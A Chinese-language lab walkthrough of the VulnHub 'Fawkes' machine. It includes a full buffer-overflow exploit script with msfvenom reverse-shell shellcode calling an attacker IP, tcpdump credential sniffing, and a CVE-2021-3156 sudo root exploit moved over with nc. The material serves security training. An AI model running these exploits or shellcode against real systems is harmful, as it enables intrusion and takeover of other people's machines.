打靶记录12——Fawkes

靶机:

php
复制代码
https://download.vulnhub.com/harrypotter/Fawkes.ova

这是个哈利波特系列的靶机,作者和本人都非常喜欢这个系列,因为它的漏洞和利用点都设计得很巧妙。

难度:

目标:

  • 取得2个root权限 + 3 个flag

涉及攻击方法:

  • 主机发现
  • 端口扫描
  • Web信息收集
  • FTP服务攻击
  • 缓冲区溢出
  • 模糊测试
  • 漏洞利用代码编写
  • 流量抓包分析
  • 堆溢出漏洞攻击
  • Metasploit(MSF)
  • 手动修复EXP代码
  • 本地提权

参考资料

主机发现

sudo arp-scan -l image.png

端口扫描和服务发现

sudo nmap -p- 192.168.0.103 image.png sudo nmap -p21,22,80,2222,9898 -sV -sC 192.168.0.103

php
复制代码
┌──(kali㉿DESKTOP-MLG4CQ2)-[~] └─$ sudo nmap -p21,22,80,2222,9898 -sV -sC 192.168.0.103 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-17 16:14 CST Nmap scan report for 192.168.0.103 Host is up (0.0011s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rwxr-xr-x 1 0 0 705996 Apr 12 2021 server_hogwarts | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.0.102 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 4 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 48:df:48:37:25:94:c4:74:6b:2c:62:73:bf:b4:9f:a9 (RSA) | 256 1e:34:18:17:5e:17:95:8f:70:2f:80:a6:d5:b4:17:3e (ECDSA) |_ 256 3e:79:5f:55:55:3b:12:75:96:b4:3e:e3:83:7a:54:94 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.38 (Debian) 2222/tcp open ssh OpenSSH 8.4 (protocol 2.0) | ssh-hostkey: | 3072 c4:1d:d5:66:85:24:57:4a:86:4e:d9:b6:00:69:78:8d (RSA) | 256 0b:31:e7:67:26:c6:4d:12:bf:2a:85:31:bf:21:31:1d (ECDSA) |_ 256 9b:f4:bd:71:fa:16:de:d5:89:ac:69:8d:1e:93:e5:8a (ED25519) 9898/tcp open monkeycom? | fingerprint-strings: | GenericLines, GetRequest, HTTPOptions, RTSPRequest: | Welcome to Hogwart's magic portal | Tell your spell and ELDER WAND will perform the magic | Here is list of some common spells: | Wingardium Leviosa | Lumos | Expelliarmus | Alohomora | Avada Kedavra | Enter your spell: Magic Output: Oops!! you have given the wrong spell | Enter your spell: | NULL: | Welcome to Hogwart's magic portal | Tell your spell and ELDER WAND will perform the magic | Here is list of some common spells: | Wingardium Leviosa | Lumos | Expelliarmus | Alohomora | Avada Kedavra |_ Enter your spell: 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port9898-TCP:V=7.94SVN%I=7%D=8/17%Time=66C05BD6%P=x86_64-pc-linux-gnu%r SF:(NULL,DE,"Welcome\x20to\x20Hogwart's\x20magic\x20portal\nTell\x20your\x SF:20spell\x20and\x20ELDER\x20WAND\x20will\x20perform\x20the\x20magic\n\nH SF:ere\x20is\x20list\x20of\x20some\x20common\x20spells:\n1\.\x20Wingardium SF:\x20Leviosa\n2\.\x20Lumos\n3\.\x20Expelliarmus\n4\.\x20Alohomora\n5\.\x SF:20Avada\x20Kedavra\x20\n\nEnter\x20your\x20spell:\x20")%r(GenericLines, SF:125,"Welcome\x20to\x20Hogwart's\x20magic\x20portal\nTell\x20your\x20spe SF:ll\x20and\x20ELDER\x20WAND\x20will\x20perform\x20the\x20magic\n\nHere\x SF:20is\x20list\x20of\x20some\x20common\x20spells:\n1\.\x20Wingardium\x20L SF:eviosa\n2\.\x20Lumos\n3\.\x20Expelliarmus\n4\.\x20Alohomora\n5\.\x20Ava SF:da\x20Kedavra\x20\n\nEnter\x20your\x20spell:\x20Magic\x20Output:\x20Oop SF:s!!\x20you\x20have\x20given\x20the\x20wrong\x20spell\n\nEnter\x20your\x SF:20spell:\x20")%r(GetRequest,125,"Welcome\x20to\x20Hogwart's\x20magic\x2 SF:0portal\nTell\x20your\x20spell\x20and\x20ELDER\x20WAND\x20will\x20perfo SF:rm\x20the\x20magic\n\nHere\x20is\x20list\x20of\x20some\x20common\x20spe SF:lls:\n1\.\x20Wingardium\x20Leviosa\n2\.\x20Lumos\n3\.\x20Expelliarmus\n SF:4\.\x20Alohomora\n5\.\x20Avada\x20Kedavra\x20\n\nEnter\x20your\x20spell SF::\x20Magic\x20Output:\x20Oops!!\x20you\x20have\x20given\x20the\x20wrong SF:\x20spell\n\nEnter\x20your\x20spell:\x20")%r(HTTPOptions,125,"Welcome\x SF:20to\x20Hogwart's\x20magic\x20portal\nTell\x20your\x20spell\x20and\x20E SF:LDER\x20WAND\x20will\x20perform\x20the\x20magic\n\nHere\x20is\x20list\x SF:20of\x20some\x20common\x20spells:\n1\.\x20Wingardium\x20Leviosa\n2\.\x2 SF:0Lumos\n3\.\x20Expelliarmus\n4\.\x20Alohomora\n5\.\x20Avada\x20Kedavra\ SF:x20\n\nEnter\x20your\x20spell:\x20Magic\x20Output:\x20Oops!!\x20you\x20 SF:have\x20given\x20the\x20wrong\x20spell\n\nEnter\x20your\x20spell:\x20") SF:%r(RTSPRequest,125,"Welcome\x20to\x20Hogwart's\x20magic\x20portal\nTell SF:\x20your\x20spell\x20and\x20ELDER\x20WAND\x20will\x20perform\x20the\x20 SF:magic\n\nHere\x20is\x20list\x20of\x20some\x20common\x20spells:\n1\.\x20 SF:Wingardium\x20Leviosa\n2\.\x20Lumos\n3\.\x20Expelliarmus\n4\.\x20Alohom SF:ora\n5\.\x20Avada\x20Kedavra\x20\n\nEnter\x20your\x20spell:\x20Magic\x2 SF:0Output:\x20Oops!!\x20you\x20have\x20given\x20the\x20wrong\x20spell\n\n SF:Enter\x20your\x20spell:\x20"); MAC Address: 08:00:27:80:17:B1 (Oracle VirtualBox virtual NIC) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 100.01 seconds

发现21端口开着vsftp服务,版本是vsftp 3.0.3,漏洞库搜索一下 searchsploit vsftp 3.0.3发现一个远程拒绝服务攻击脚本,就是我们可以把它打死,但是不能利用它去控制目标系统,那对我们没有什么帮助 image.png 发现它的FTP服务可以匿名登录,并且存在一个文件叫server_hogwarts,霍格沃兹就是哈利波特学习魔法的学校hogwart image.png 并且发现奇怪的是服务器开启了两个SSH服务,版本不一样,端口也不一样,待会再看看怎么个事 image.png 9898端口开启的服务nmap不认识,就随便给了个名字,后面显示的内容是欢迎来到霍格沃兹,选择自己喜欢的魔法吧! image.png

  • Wingardium Leviosa(漂浮升空)悬浮咒,可以让物体飞起来
  • Lumos(荧光闪耀)
  • Expelliarmus(除你武器)
  • Alohomora(开锁咒)
  • Avada Kedavra(索命咒)阿瓦达啃大瓜

sudo dirsearch -u http://192.168.0.103扫描目录没有什么发现 image.png 那么我们匿名登录一下FTP服务器 ftp 192.168.1.103账号为:anonymous,密码为空 登录之后把server_hogwartsget下来慢慢看,然后想cd到其他的目录却失败了 image.png file server_hogwarts发现他是一个可执行程序,给它赋予执行权限然后执行看看有什么效果 image.png ps -aux | grep server看到运行了进程 ss -pantu | grep server看到在本机开启了监听端口 image.png nc 127.0.0.1 9898NC上去看看运行效果,就是一些个咒语实现的效果 image.png 那这个靶机的意图也就非常明显了,肯定是这个程序本身,它存在某种漏洞,但是由于它是一个二进制的可执行程序,所以我们没办法查看它的源码,从源码审计,那就只能做动态调试,做FUZZ模糊测试

进行测试之前,还得先关掉kali本机的alsr功能,alsr是一种内存地址随机化的安全技术, 不关掉的话会导致我们自己挖漏洞的时候挖不出来,每次内存地址都会变 我们需要把2改成0,这样就会关闭它 image.png sudo apt install edb-debugger安装一个有图形化界面的友好一点的调试工具 点击Attach image.png 搜索server image.png 然后点击run image.png 这样就通过调试器连接上了服务端程序 接下来就需要对程序发起一些注入的探测请求 向唯一的数据提交点提交500个大写字母A python -c "print('A'*500)" image.png image.png 然后调试器直接报错,说EIP的内存地址被覆盖了,那就99%确定这个地方存在缓冲器溢出漏洞 image.png image.png msf-pattern_create -l 500生成500个内容不重复的字节序列 image.png 在提交数据之前重启一下server_hogwarts服务和edb工具,否则可能影响我们队漏洞挖掘结果的判断 image.png 用小工具msf-pattern_offset -l 500 -q 64413764查看EIP寄存器当中注入的字符在这500个字符中的哪个位置里面 image.png 编写一个EXP进行测试

python
复制代码
#!/usr/bin/python import sys,socket payload = 'A'*112 + 'B'*4 + 'C'*32 try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('127.0.0.1',9898)) s.send((payload)) s.close() except: print("Wrong!") sys.exit()

在运行脚本提交数据之前重启一下server_hogwarts服务和edb工具,保证我们测试时,运行环境是一个干净的环境 运行代码: 报错弹窗提示,如果想进一步查看他的情况请按F7,F8,F9来查看。其实你可以再次点击▶️让程序在报错的前提下继续运行,因为这个弹窗只是提示你server_hogwarts出现了故障但是并不代表其不能继续运行。 参考博客:https://www.cnblogs.com/cchl/articles/vulnhub_fawkes.html#%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E6%B5%8B%E8%AF%95 image.png

反弹shell

用插件OpcodeSearcher找到跳到ESP的指令 image.png image.png image.png jmp esp,跳到ESP的内存地址是0x08049d55,放到exp中的4个B的位置那里

python
复制代码
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.0.102 LPORT=4444 -b "\x00" -f py

生成一串反弹shell的代码

  • -b 参数去掉坏字符“\x00”,因为程序运行到这个字符的话就会以为结束了,从而停止运行
  • -f 参数生成python格式的代码

image.png

python
复制代码
#!/usr/bin/python import sys,socket buf = b"" buf += b"\xdb\xda\xba\x40\xb5\xb0\xf2\xd9\x74\x24\xf4\x5b" buf += b"\x31\xc9\xb1\x12\x31\x53\x17\x03\x53\x17\x83\xab" buf += b"\x49\x52\x07\x1a\x69\x64\x0b\x0f\xce\xd8\xa6\xad" buf += b"\x59\x3f\x86\xd7\x94\x40\x74\x4e\x97\x7e\xb6\xf0" buf += b"\x9e\xf9\xb1\x98\xe0\x52\x41\x3e\x89\xa0\x42\xaf" buf += b"\x15\x2c\xa3\x7f\xc3\x7e\x75\x2c\xbf\x7c\xfc\x33" buf += b"\x72\x02\xac\xdb\xe3\x2c\x22\x73\x94\x1d\xeb\xe1" buf += b"\x0d\xeb\x10\xb7\x9e\x62\x37\x87\x2a\xb8\x38" payload = b'A'*112 + b'\x55\x9d\x04\x08' + b'\x90'*32 + buf """ 这里需要注意三点: 1,EIP的注入位置的JUMP ESP的地址需要进行字节的颠倒,因为靶机为小端。这个细节非常非常重要,只要是缓冲区溢出漏洞都需要注意这一点 2,'\x90'的添加,为了防止恶意代码举例ESP起始位置太近导致的执行异常,一般添加该字节来让CPU划过该命令 3,都要用b''二进制来显示 """ try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('127.0.0.1',9898)) s.send((payload)) s.close() except: print("Wrong!") sys.exit()

重启运行服务,nc开启监听,执行脚本即可反弹shell成功 image.png image.png image.png 这是得到的本机kalishell,所以我们需要修改代码中的IP地址,来对靶机发起攻击 image.png image.png 再次运行脚本获得shell image.png image.png 按照惯例升级一下shell,但是没有python,也没有bash,那就只能用/bin/sh -i image.png 在当前目录下发现一个密码HarrYp0tter@Hogwarts123,想起前面信息收集的时候有两个ssh服务开启着 image.png ssh harry@192.168.0.103 -p 2222,登录上去发现还是harry,还有IP地址是172.17.0.2,和靶机IP地址192.168.0.103不一样 image.png ls / -la查看根目录的文件,发现.dockerenv,很明显是一个docker容器 image.png

信息收集:

image.png 发现flag文件horcrux1.txt魂器 (Horcrux)是黑巫师为了使自己长生不死而制造出来的用于储藏灵魂碎片的物品 查看一下这两个文件,第一个说哈利波特被伏地魔摧毁了,note.txt文件显示有人在一直尝试登录FTP服务器但是没成功,我们可以通过流量抓包工具来进行分析它 image.png 由于靶机只是一个命令行界面,所以我们用不了wireShark,只能用最原始的tcpdump这个命令 tcpdump -i eth0 port 21只对21端口进行抓包,等待大概一分钟左右的时间才有流量产生 image.png 发现用户名和密码:neville``bL!Bsg3k,尝试SSH登录,发现是真实的靶机(由于我网络出了点问题,所以靶机IP从103变成104了) image.png 内核版本和sudo版本都与CVE-2021-3156中的一致 image.png 可以用以下这段代码验证漏洞是否存在sudoedit -s '\' perl -e 'print "A" x 65536'``,输入命令有报错,说明漏洞存在 image.png 利用exp脚本进行提权,具体是Github仓库中的exploit_nss.py这个文件 image.png 靶机上的sudo位置在/usr/local/bin/sudo image.png 修改exploit_nss.py代码中的sudo位置 image.png 将脚本通过nc发送到靶机上 靶机nc -lvnp 4444 > exp.py,将nc接收到的信息保存为exp.py文件 本机nc 192.168.0.104 4444 < exploit_nss.py -w 1将文件传输过去,-w 1参数意思是当文件传输结束后隔一秒钟就断开连接 image.png image.png 然后在靶机输入python3 exp.py就获得了root权限 image.png 获取最后的两个flag image.png 纳吉尼(伏地魔身边的那条蛇)被纳威 隆巴顿(剑圣)给摧毁了 image.png image.png 伏地魔被哈利波特打败了!

打靶完毕!

0个评论
点击登录,快来和大家讨论吧~
表情
图片
暂无评论
下载 APP